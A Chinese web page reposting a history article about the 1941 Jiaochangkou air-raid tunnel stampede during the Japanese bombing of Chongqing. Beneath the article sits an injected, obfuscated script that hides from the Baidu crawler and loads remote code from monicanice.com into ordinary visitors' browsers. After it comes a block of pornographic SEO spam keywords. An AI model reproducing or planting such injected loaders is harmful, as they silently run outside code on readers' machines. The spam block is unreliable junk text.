<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 歷史 > 戰史風云 > 正文

      日軍轟炸重慶制造驚天慘案的歷史瞬間

      2017-04-28 21:50:18  來源:360常識網   熱度:
      導語:侵華日軍在中國的土地上制造了無數震驚中外的血腥慘案,從“9 18事變”到“7 7事變”,再到“8 13事變”;從華北大掃蕩到南京大屠殺,再到

      侵華日軍在中國的土地上制造了無數震驚中外的血腥慘案,從“9.18事變”到“7.7事變”,再到“8.13事變”;從華北大掃蕩到南京大屠殺,再到重慶大轟炸,真可謂是罪惡累累,罄竹難書。而日軍對重慶大轟炸時造成5000人傷亡的擠壓踩踏慘案,無疑是歷史上最嚴重擠壓踩踏的驚天慘案。

      重慶大轟炸指的是中國抗戰期間,由1938年2月18日起至1943年8月23日,日軍對重慶進行了長達5年半時間的戰略轟炸。據不完全統計,在這5年時間內,日軍對重慶進行轟炸218次,出動9千多架次的飛機,投彈1萬多枚以上。重慶大轟炸造成成千上萬中國百姓無辜死亡,成千上萬幢房屋被炸毀,市區大部份繁華地區被破壞。2012年9月10日下午,重慶大轟炸15名受害者或其遺屬正式起訴日本政府。

      1937年“7.7事變”后,中國展開對日全面抗戰。11月,國軍在淞滬抗戰中失利,南京陷入危機,國民黨政府于11月20日起遷往重慶作為戰時首都。1938年10月4日,日本正式轟炸重慶市區,從1939年1月開始,日機空襲迅速升級,對重慶的轟炸愈來愈猛烈。特別是1941年6月5日傍晚,在日機對市區長達5個多小時的疲勞轟炸中,終于發生了第二次世界大戰中間接死于轟炸人數最多的一次慘案,也成為世界歷史上最嚴重的踩踏慘案,即重慶較場口大隧道擁擠踩踏窒息慘案。

      當時,日軍在發動太平洋戰爭前先向中國集中力量空襲,發動名為《102號作戰》的大規模轟炸。在1月至8月,超過3千架次飛機空襲重慶,當中包括夜間空襲。6月5日,從傍晚起至午夜連續對重慶實施多小時轟炸。重慶市內的一個主要防空洞部份通風口被炸塌引致洞內通風不足。據幸存者曾婉清說當天有漢奸為日軍飛機發信號,日軍是有目標地轟炸洞口和通風口的,洞內市民因呼吸困難擠往洞口,造成互相踩踏,以及大量難民因擠壓踩踏窒息死亡。這次慘案的發生主要是日軍殘酷地大轟炸造成的,日軍無疑是罪魁禍首;但是當時的國民黨當局管理混亂也有不可推卸的責任。6月5日,日軍對重慶進行大規模的“地毯式”反復轟炸。市中區居民因準備不充分,接到警報后未及時疏散開,于是如潮水般地擁向公共防空大隧道中,大隧道內避難人數較往常激增一倍,達到上萬人群,幾近飽和。

      當時,重慶防空警報的發布和解除,都要有國民黨防空副司令胡伯翰的命令才能執行。胡伯翰一向剛愎自用,有幾次他判斷敵機不會飛臨重慶上空,居然猜中了,為此他十分自信,誰也不敢和他爭論。這次日軍飛機是采取所謂“疲勞轟炸”的策略,即以三五架飛機一隊輪番不斷進入重慶上空。根據這種情況,應該在日軍飛機輪番轟炸的間隙解除一下警報,讓群眾走出隧道換換空氣。當時大家幾次建議解除警報,但都遭到胡伯翰的反駁和拒絕,終未被采納。大隧道內有人向防空司令部反映洞內空氣不良的電話有4次之多,胡伯翰僅僅下令努力維持秩序,不許群眾亂動。

      最后,群眾因為空氣稀薄迫不得已爭相向隧道外蜂擁逃跑,胡伯翰這才下令解除緊急警報,但仍保持一般空襲警報狀態。但為時已晚,走出隧道的群眾一接觸新鮮空氣就倒在洞口不能動了,后面的人出來就壓在前面的人身上。這樣越壓越多,洞口又在地平面下10多公尺,很快就被塞阻,導致后面的群眾無法出洞。同時外面的救護力量又未組織好,一再遲誤,終于遭成震驚中外的嚴重慘案。

      當時,國民黨當局也曾組織擔架兵進行救護,可沒想到這些人進到防空洞內首先干起搜撿死尸身上財物的勾當,大大耽誤了救護時間。當時許多人還處在假死狀態,如果抬出洞及時通風或施以人工呼吸,還可救活一部分人。而有些人并沒有完全喪失意識,在被搜斂財物時還能掙扎,擔架兵就把這些人掐死滅口。當時,負責指揮搬尸的是衛戍總司令部交通處長姜吟冰和交通科長劉吉龍,當他們發現這是一個發大財的機會后,馬上下令搜查擔架兵的腰包。一部分擔架兵反抗,姜吟冰就下令在洞口槍斃了一名抗拒的擔架兵,以示威嚇。這樣,有許多受傷者最后由于沒有收到及時救護而最終死亡。

      據當時特種審查委員會調查公布的《審查報告》認定,這次慘案死亡992人,其中學生151人,受傷4000多人。許多人因踩踏、擠壓、窒息,衣服被撕爛,皮膚變成藍黑色,面目全非,慘不忍睹。

      慘案發生后,民怨沸騰,輿論嘩然。重慶市臨時參議會在議長康心如主持下開會決定:“1、肇事之原因及其真實情況,請市政府速查明,報告本會;2、肇事責任究竟屬誰,應請政府嚴加懲辦;3、請市府嚴加注意,勿使今后再有此事發生;4、善后辦法及死傷者撫恤,請政府從優辦理”。蔣介石與參議員一起前往慘案發生處視察,看望并慰問了死者家屬。“陪都空襲救護委員會”對隧道死難家屬中的鰥寡孤獨、無人撫養者發放了賑金。老弱殘廢每人300元,失學幼孤每人200元,到9月7日止,全市共發賑金11萬元。重慶解放后,有關部門對較場口大隧道進行了清理維修。1987年7月6日,為紀念“7.7事變”50周年,“日本侵略者轟炸重慶紀事碑”落成儀式在較場口大隧道舉行;2000年9月,重慶市人民政府將該處列為重慶市市級文物保護單位。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 成人亚洲综合天堂| 色婷婷综合和线在线| 狠狠色伊人久久精品综合网| 欧美成电影综合网站色www| 色综合久久最新中文字幕| 天天做天天爱天天综合网2021| 成人综合久久精品色婷婷| 婷婷亚洲综合五月天小说| 久久综合久久综合亚洲| 亚洲欧美日韩综合在线观看不卡顿| 狠狠色丁香婷婷综合久久来 | 91精品婷婷国产综合久久| 色综合合久久天天给综看| 色婷婷色综合激情国产日韩 | 国产香蕉尹人综合在线| 国产成人亚洲综合无码精品| 狠狠色婷婷狠狠狠亚洲综合| 亚洲综合久久夜AV | 91成人亚洲综合欧美日韩| 亚洲色偷偷偷鲁综合| 久久综合伊人77777| 欧美伊人久久大香线蕉综合69| 伊人情人综合成人久久网小说| 久久综合狠狠综合久久激情 | 亚洲伊人成无码综合网 | 91精品国产综合久久精品| 久久久久久久综合日本| 亚洲综合激情另类专区| 久久天天日天天操综合伊人av| 精品福利一区二区三区精品国产第一国产综合精品 | 国产精品天干天干在线综合| 色综合久久久久无码专区| 青青草原综合久久大伊人| 狠狠色伊人亚洲综合网站色| 国产成人精品综合久久久久| 国产成人综合久久综合| 色妞色综合久久夜夜| 综合久久给合久久狠狠狠97色 | 久久久久久久综合狠狠综合| 俺来也俺去啦久久综合网| 亚洲情综合五月天|